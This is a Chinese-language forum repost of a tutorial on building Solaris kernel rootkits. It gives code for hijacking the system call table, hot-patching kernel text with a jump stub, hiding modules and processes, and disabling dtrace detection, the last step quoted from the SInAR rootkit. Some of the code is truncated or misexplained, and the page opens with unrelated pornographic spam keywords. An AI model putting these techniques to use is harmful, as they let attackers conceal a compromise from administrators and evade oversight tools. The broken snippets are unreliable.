亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 2402 | 回復(fù): 0
打印 上一主題 下一主題

怎樣截取Solaris的系統(tǒng)調(diào)用 [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報告]
發(fā)表于 2009-03-21 12:20 |只看該作者 |倒序瀏覽

                                                 
       
       
        在linux中,通過LKM注射來截取系統(tǒng)調(diào)用已經(jīng)是rootkit很常見的一種方法。那么,同為Unix的Solaris是否也可以通過類似的方法來hack呢?答案是肯定的,而且編程方法甚至是非常相似的。所不同的地方是現(xiàn)在的Solaris一般都是64bit的內(nèi)核,而且,Solaris系統(tǒng)內(nèi)置了很多debug的工具,比如dtrace,可以很容易的發(fā)現(xiàn)系統(tǒng)是否被hack了。本文就Solaris的這些檢查方法來做一個簡單的介紹,并且參照一些文獻(xiàn)和親身實驗,給出具體的應(yīng)對方法。
1. LKM 工具
for Solaris and Linux
對于Linux的LKM,有很多大家都比較清楚了,比如Knark或者Adore
,而且他們都提供了隱藏自身的功能(比如隱藏文件,
隱 藏 進(jìn) 程,
重定向可執(zhí)行文件,
隱藏網(wǎng)絡(luò)連接)。它們采用的技術(shù)主要是利用截獲open,
gendents64,write等系統(tǒng)調(diào)用來為自己所用。至于隱藏就是“如果發(fā)現(xiàn)輸出的信息含有自己要隱藏的信息,就把這部分的buffer抹去”。
至于在Solaris里面,同樣的也是有很多的系統(tǒng)調(diào)用,而且Solaris將系統(tǒng)調(diào)用表export出來。這樣,想要截獲Solaris的系統(tǒng)調(diào)用就很容易了。目前在Solaris上,也有一些Rookit,比如SInAR,
slkm等等。他們是通過截獲系統(tǒng)調(diào)用來隱藏自身。
2. Hack方法
截獲系統(tǒng)調(diào)用的方法有很多,我們可以自己寫一個dummy系統(tǒng)調(diào)用函數(shù),再將這個函數(shù)的地址在export的系統(tǒng)調(diào)用表里替換一下;同樣也可以截取系統(tǒng)調(diào)用的地址,寫一些opcode將其棧地址寫成我們的dummy函數(shù)。在看具體看例子之前,先看一個系統(tǒng)調(diào)用的結(jié)構(gòu)。
       
       
               
                       
struct sysent {
                       
                       
       char           
                        sy_narg;        /* total number of arguments */
                       
                       
#ifdef _LP64
                       
                       
        unsigned short
                        sy_flags;       /* various flags as defined below */
                       
                       
#else
                       
                       
        unsigned char  
                        sy_flags;       /* various flags as defined below */
                       
                       
#endif
                       
                       
        int            
                        (*sy_call)();   /* argp, rvalp-style handler */
                       
                       
        krwlock_t      
                        *sy_lock;       /* lock for loadable system calls */
                       
                       
        int64_t        
                        (*sy_callc)();  /* C-style call hander or wrapper */
                       
                       
};
               
       
這個結(jié)構(gòu)就是系統(tǒng)調(diào)用表的結(jié)構(gòu),其中sy_callc就是系統(tǒng)設(shè)置的系統(tǒng)調(diào)用函數(shù)地址,而我們要做的,就是讓他執(zhí)行我們自己的函數(shù)。
2.1 替換系統(tǒng)調(diào)用
我們先看一個最簡單的例子。
       
       
               
                       
int new_exece(const char
                        *path, int oflag, mode_t mode)
                       
{
                       
     cmn_err(CE_NOTE,
                        "anm, new exece, path is %s", path);
                       
     return
                        old_exece(path, oflag, mode);
                       
}
                       
                       
                       
int _init(void)
                       
{
                       
    if ((i =
                        mod_install(&modlinkage)) != 0)
                       
        cmn_err(CE_NOTE,
                        "Could not install module\n");
                       
                       
                       
    old_exece = (void *)
                        sysent[SYS_exece].sy_callc;
                       
                       
                       
    sysent[SYS_exece].sy_callc
                        = (void *) new_exece;
                       
    return i;
                       
}
                       
                       
                       
int _fini(void)
                       
{
                       
    int i;
                       
    if ((i =
                        mod_remove(&modlinkage)) != 0)
                       
        cmn_err(CE_NOTE, "Could
                        not remove module");
                       
    sysent[SYS_exece].sy_callc
                        = (void *) old_exece;
                       
                       
                       
    return i;
                       
}
               
       
在上面的例子中,就是一個很簡單但是全面的截取系統(tǒng)調(diào)用exece的方法,就是在_init函數(shù)中將sysent中的SYS_exece數(shù)組項sy_callc函數(shù)的入口地址設(shè)置成為我們的new_exece中,其中的sysent就是Solaris的系統(tǒng)調(diào)用表,和Linux不同,Linux從2.4開始,系統(tǒng)調(diào)用表已經(jīng)不公開export出來了,雖然可以通過內(nèi)存檢索得出系統(tǒng)調(diào)用表的位置,但是對于LKM來說稍微加了一點(diǎn)門坎。而Solaris可能是為了向前兼容,所以這部分的代碼一直都沒怎么變。
在new_exece里面,我們沒有做任何事,只是輸出了一行,提示這已經(jīng)是我們的exece了。還有注意一定要調(diào)用原來的old_exece函數(shù)來完成相應(yīng)的功能。雖然我們只加了一行程序,但考慮到同時可能有非常非常多的exece請求,這有可能會對系統(tǒng)性能造成非常大的影響。在Linux中的LKM,處于隱藏的需要,可能要在read或者write系統(tǒng)調(diào)用里面寫一些內(nèi)存操作程序,這其實對系統(tǒng)性能影響是很顯著的。
回到我們的話題,在模塊退出的時候,一定要用“sysent[SYS_exece].sy_callc
= (void *) old_exece;”把原來的exece調(diào)用函數(shù)指回到系統(tǒng)調(diào)用表中。否則的話,后果很嚴(yán)重!嘿嘿。
2.2 截取系統(tǒng)調(diào)用
上面是最簡單直接的替換系統(tǒng)調(diào)用表里的函數(shù),但是這樣做是有問題的。比如dtrace可以直接得到系統(tǒng)調(diào)用函數(shù)的地址,如果用我們的函數(shù)來進(jìn)行替換,那么很細(xì)心的系統(tǒng)管理員還是可以注意到系統(tǒng)已經(jīng)被hack了。比如如下的dtrace程序。
       
       
               
                       
#cat exec.d
                       
#!/usr/sbin/dtrace -s
                       
                       
                       
                       
dtrace:::BEGIN
                       
                       
{
                       
                       
        ptr = (long *)&`exece;
                       
                       
                       
        printf("\nsysent[$1]:0x%p\n",`sysent[$1].sy_callc);
                       
                       
                       
        printf("Exec at:
                        0x%p\n", ptr);
                       
                       
        exit(0);
                       
                       
}
                       
                       
                       
                       
# ./exec.d 11
                       
                       
dtrace: script './exec.d'
                        matched 1 probe
                       
                       
CPU     ID               
                           FUNCTION:NAME
                       
                       
  1      1               
                                  :BEGIN
                       
                       
sysent[$1]:0xfffffffffb9bca28
                       
                       
                       
Exec at:
                        0xfffffffffb9bca58
                       
               
       
如果我們用上面的系統(tǒng)調(diào)用替換,那么Exec程序捕獲的地址就不會是顯示的這個地址。
我們可以用給系統(tǒng)打patch的方法改變syscall的內(nèi)容,如下面的程序。
       
       
               
                       
short x = 0;
                       
char jmpl_x86[7] =
                        "\xb8\x00\x00\x00\x00\xff\xe0";
                       
*(long *)&jmpl_x86[1]
                        = (long)new_exece;
                       
                       
                       
for(x=0;x
                       
hot_patch_kernel_text(kern_call+
                        x,jmpl_x86[x],1);
                       
                       
               
       
在hot_patch_kernel_text函數(shù)里面,就是把jmpl_x86所指的內(nèi)容放到系統(tǒng)調(diào)用表里面,那么jmpl_x86是什么呢?“\xb8\x00\x00\x00\x00\xff\xe0”在匯編指令中就是”mov
0 %eax;jmp
%ebx”,然后在下一條指令里面把我們的new_exece的地址給”mov”指令。再通過hot_patch_kernel_text函數(shù)來把這個跳轉(zhuǎn)指令寫進(jìn)去。這樣,當(dāng)執(zhí)行exec
系統(tǒng)調(diào)用的時候首先就是進(jìn)行跳轉(zhuǎn)到new_exece函數(shù)里面去,這樣通過上面的dtrace腳本看上去,exec系統(tǒng)調(diào)用的地址不會變,但是其實已經(jīng)系統(tǒng)調(diào)用已經(jīng)被hack了。
3. 目前Rootkit存在的問題
上面介紹的方法其實在Linux或者Solaris里都是通用的,但是在Solaris上面,如果直接拿上面的方法試圖去截獲系統(tǒng)調(diào)用,在相當(dāng)一部分的情況下都不會成功,這是因為目前Solaris基本都使用64bit的kernel,除非在一些非常老的機(jī)器上。
在solaris系統(tǒng)上,應(yīng)用程序向系統(tǒng)內(nèi)核請求調(diào)用的“門”是syscall_entry,并且process向系統(tǒng)內(nèi)核請求服務(wù)的process
model是proc_t->ulwp_t->klwp_t->kthread_t,其中proc_t到ulwp_t在應(yīng)用層,由libc來進(jìn)行轉(zhuǎn)換;kernel部分由lwp轉(zhuǎn)換成為thread,進(jìn)行執(zhí)行。有關(guān)詳細(xì)內(nèi)容請參見附錄1。
通過分析sycall_entry這個函數(shù),我們會注意到如下的顯示
       
       
               
                       
struct sysent *
                       
syscall_entry(kthread_t
                        *t, long *argp)
                       
{
                       
        klwp_t *lwp = ttolwp(t);
                       
        struct regs *rp =
                        lwptoregs(lwp);
                       
        unsigned int code;
                       
        struct sysent *callp;
                       
        struct sysent *se =
                        LWP_GETSYSENT(lwp);
                       
        int error = 0;
                       
        uint_t nargs;
                       
…...
               
       
這下知道了,系統(tǒng)調(diào)用表是通過LWP_GETSYSENT(lwp)宏來得到的,
#ifdef
_SYSCALL32_IMPL
#define        LWP_GETSYSENT(lwp)        \
        (lwp_getdatamodel(lwp)
== DATAMODEL_NATIVE ? sysent : sysent32)
#else
#define        LWP_GETSYSENT(lwp)        (sysent)
#endif
原來在Solaris里面,有兩個系統(tǒng)調(diào)用表,可能是為了和之前的系統(tǒng)兼容,Solaris保留了一個sysent32的系統(tǒng)調(diào)用表。查看sysent32的定義:
       
       
               
                       
/*
                       
* sysent table for ILP32
                        processes running on
                       
* a LP64 kernel.
                       
*/
                       
struct sysent
                        sysent32[NSYSCALL] =
                       
{
                       

               
       
原來sysent32是特地為64位的內(nèi)核上運(yùn)行32位的程序預(yù)備的,在查看我的bash文件,
#
file /bin/bash
/bin/bash:        ELF
32-bit LSB executable 80386 Version 1 [FPU], dynamically linked...
當(dāng)在64位的系統(tǒng)上運(yùn)行32位的shell時,系統(tǒng)采用了不同的調(diào)用表。我們可以將例子1里面的程序的sysent系統(tǒng)調(diào)用表改成sysent32,然后用它來截獲系統(tǒng)調(diào)用,果然一切OK!
那么在64bit的機(jī)器上,用上面機(jī)器碼的例子來截獲系統(tǒng)調(diào)用也是不能成功的,原因就是64位是8個字節(jié),所以相應(yīng)的地址要進(jìn)行改變;而且jmp指令的機(jī)器碼也有不同,那么具體就要參考intel或者amd的硬件手冊了。
4. 如何隱藏自身
Solaris里面的隱藏和Linux里面的隱藏方法基本一樣,比如文件隱藏,網(wǎng)絡(luò)隱藏等等,下面以模塊隱藏和進(jìn)程隱藏為例,拋磚引玉。
4.1 如何隱藏模塊
module的隱藏還是比較容易的,就是把特定的module從module_list鏈表里面摘除,就可以了。
       
       
               
                       
# mdb -k
                       
> modules::print
                       
                       
{
                       
                       
    mod_next = 0x1850aa0  
                          
                       
                       
    mod_prev =
                        0x300021aaea8
                       
                       
    mod_id = 0
                       
                       
    mod_mp = 0x184cef0
                       
                       
    mod_inprogress_thread
                        = 0
                       
                       
    mod_modinfo = 0
                       
                       
    mod_linkage = 0
                       
                       
    mod_filename =
                        0x184ceb8 "/platform/sun4u/kernel/sparcv9/unix"
                       
                       
    mod_modname =
                        0x184ced7 "unix"
                       
                       
    mod_busy = '\0'
                       
                       
    mod_want = '\0'
                       
                       
    mod_prim = '\001'
                       
                       
    mod_ref = 0
                       
                       
    mod_loaded = '\001'
                       
                       
    mod_installed = '\001'
                       
                       
                       
    mod_loadflags = '\001'
                                                                                   
                       
                       
    mod_delay_unload =
                        '\0'
                       
                       
    mod_requisites = 0
                       
                       
    mod_dependents = 0
                       
                       
    mod_loadcnt = 0x1
                       
                       
    mod_nenabled = 0
                       
                       
    mod_text = scb
                       
                       
[...]
                       
                       
}
                       
                       
>
                       
               
       
利用一個簡單的摘鏈表的步驟即可:
  prev->next
= next;
  next->prev
= prev;
4.2 進(jìn)程隱藏
要想不被ps等命令發(fā)現(xiàn),就要保證在proc結(jié)構(gòu)中我們想要隱藏的進(jìn)程消失。具體方法就是將proc結(jié)構(gòu)中的p_pidp->pid_prinactive設(shè)置為1即可。
       
       
               
                       
if(curproc->p_parent)
                       
{
                       
        if(curproc->p_parent->p_pidp->pid_prinactive)
                       
        {
                       
                curproc->p_pidp->pid_prinactive
                        = 1;
                       
        }
                       
}
                       
                       
               
       
4.3
如何對付dtrace
dtrace提供了很多的FBT探點(diǎn),對于系統(tǒng)調(diào)用,通過這些探點(diǎn)可以看到正在執(zhí)行的系統(tǒng)調(diào)用的堆棧,和系統(tǒng)調(diào)用函數(shù)的名字(有關(guān)dtrace詳情,請參見附錄2)。在SInar中,作者并沒有給出很好的繞過dtrace的方法,他僅僅是簡單的把dtrace
對于插入的module
disable了(因為dtrace只檢測active的module和active的FBT
提供者)。下面的例子從SInar中直接引用過來:
       
       
               
                       
dt_cond =
                        kobj_getsymvalue("dtrace_condense",0); //取得dtrace
                        cond符號
                       
fbtptr =
                        modgetsymvalue("fbt_id", 0);  //取得fbt
                        provider的符號
                       
modcookie =
                        dtrace_interrupt_disable(); //取得disable
                        dtrace的handler
                       
                       
                       
//模塊消失!
                       
modme->mod_nenabled =
                        0;
                       
                       
modme->mod_loaded = 0;
                       
                       
modme->mod_installed =
                        0;
                       
                       
modme->mod_loadcnt = 0;
                       
modme->mod_gencount =
                        0;
                       
                       
                       
//hack dtrace
                       
dt_cond(*fbtptr);
                       
dtrace_sync(); // just for
                        our own good
                       
dtrace_interrupt_enable(modcookie);
               
       
附錄

  • Solaris Internal:
                    Solaris 10 and OpenSolaris Kernel Architecture 2nd
                    Edition.
                   

  • Dtrace docs:
                   
    http://www.sun.com/bigadmin/content/dtrace/
                   

  • Sinar:
                    http://www.rootkit.com/vault/vulndev/21c3_release.tar.bz2.gpg
           
                   
                   
                   
                   
                   
                   
                   
                   
                   

    本文來自ChinaUnix博客,如果查看原文請點(diǎn):http://blog.chinaunix.net/u/412/showart_1870688.html
  • 您需要登錄后才可以回帖 登錄 | 注冊

    本版積分規(guī)則 發(fā)表回復(fù)

      

    北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
    未成年舉報專區(qū)
    中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
    感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

    清除 Cookies - ChinaUnix - Archiver - WAP - TOP